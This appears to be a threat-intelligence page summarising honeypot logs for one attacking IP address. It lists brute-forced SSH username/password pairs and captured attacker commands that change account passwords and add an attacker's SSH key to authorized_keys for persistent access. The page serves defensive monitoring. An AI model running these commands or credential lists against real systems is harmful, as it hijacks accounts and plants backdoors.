⚠TROYANOSYVIRUS
Active Threat • HIGH

144.91.106.218

Country of Origin🇫🇷 France
First Detection2/19/2026
Last Activity2/20/2026
ISPContabo GmbH
🎯
5847
Total Attacks
🔌
1
Ports
📡
1
Attack Types
🦠
6
Malware

Geolocation

Country
🇫🇷 France
City
Lauterbourg
ASN
AS51167
ISP
Contabo GmbH

Attack Types

cowrie

Attacked Ports

22

Associated Malware

1a9a77b5cab08a3d2a85...→1fb3dd3396571a462ccf...→2baddebfabcb3a7aa1f7...→30f3d4ad040d202c5f89...→55156445980bee3c6b9c...→

Attempted Credentials

🔐marianne/marianne
2x
🔐debian/debian123
2x
🔐root/1234Qwer
2x
🔐silvia/silvia
2x
🔐evgeniy/evgeniy
2x
🔐brian/brian
2x
🔐tomcat/tomcat
2x
🔐francisca/francisca
2x
🔐mcuser/mcuser
2x
🔐alain/alain
2x
🔐lyudmyla/lyudmyla
2x
🔐wyatt/wyatt
2x
🔐elsa/elsa
2x
🔐cs2server/cs2server123
2x
🔐root/ZAQ!2wsx
2x

Executed Commands

$if [ [ ! -d ${HOME}/.ssh ] ]5x
$then5x
$nproc5x
$uname -m4x
$fi2x
$arch_info=$(uname -m); cpu_count=$(nproc); echo -e "2LobOQUa\n2LobOQUa" | passwd > /dev/null 2>&1; if [[ ! -d "${HOME}/.ssh" ]]; then; mkdir -p "${HOME}/.ssh" >/dev/null 2>&1; fi; touch "${HOME}/.ssh/authorized_keys" 2>/dev/null; echo -e "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAk5YcGjNbxRvJI6KfQNawBc4zXb5Hsbr0qflelvsdtu1MNvQ7M+ladgopaPp/trX4mBgSjqATZ9nNYqn/MEoc80k7eFBh+bRSpoNiR+yip5IeIs9mVHoIpDIP6YexqwQCffCXRIUPk1x
$arch_info=$(uname -m); cpu_count=$(nproc); echo -e "carolina\nfFwoId7V\nfFwoId7V" | passwd > /dev/null 2>&1; if [[ ! -d "${HOME}/.ssh" ]]; then; mkdir -p "${HOME}/.ssh" >/dev/null 2>&1; fi; touch "${HOME}/.ssh/authorized_keys" 2>/dev/null; echo -e "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAk5YcGjNbxRvJI6KfQNawBc4zXb5Hsbr0qflelvsdtu1MNvQ7M+ladgopaPp/trX4mBgSjqATZ9nNYqn/MEoc80k7eFBh+bRSpoNiR+yip5IeIs9mVHoIpDIP6YexqwQ1x
$arch_info=$(uname -m); cpu_count=$(nproc); echo -e "lyudmyla\n4fMZ6CCp\n4fMZ6CCp" | passwd > /dev/null 2>&1; if [[ ! -d "${HOME}/.ssh" ]]; then; mkdir -p "${HOME}/.ssh" >/dev/null 2>&1; fi; touch "${HOME}/.ssh/authorized_keys" 2>/dev/null; echo -e "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAk5YcGjNbxRvJI6KfQNawBc4zXb5Hsbr0qflelvsdtu1MNvQ7M+ladgopaPp/trX4mBgSjqATZ9nNYqn/MEoc80k7eFBh+bRSpoNiR+yip5IeIs9mVHoIpDIP6YexqwQ1x
$arch_info=$(uname -m); cpu_count=$(nproc); echo -e "tifVcLRE\ntifVcLRE" | passwd > /dev/null 2>&1; if [[ ! -d "${HOME}/.ssh" ]]; then; mkdir -p "${HOME}/.ssh" >/dev/null 2>&1; fi; touch "${HOME}/.ssh/authorized_keys" 2>/dev/null; echo -e "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAk5YcGjNbxRvJI6KfQNawBc4zXb5Hsbr0qflelvsdtu1MNvQ7M+ladgopaPp/trX4mBgSjqATZ9nNYqn/MEoc80k7eFBh+bRSpoNiR+yip5IeIs9mVHoIpDIP6YexqwQCffCXRIUPk1x

Risk Assessment

60
/100
LowMediumHighCritical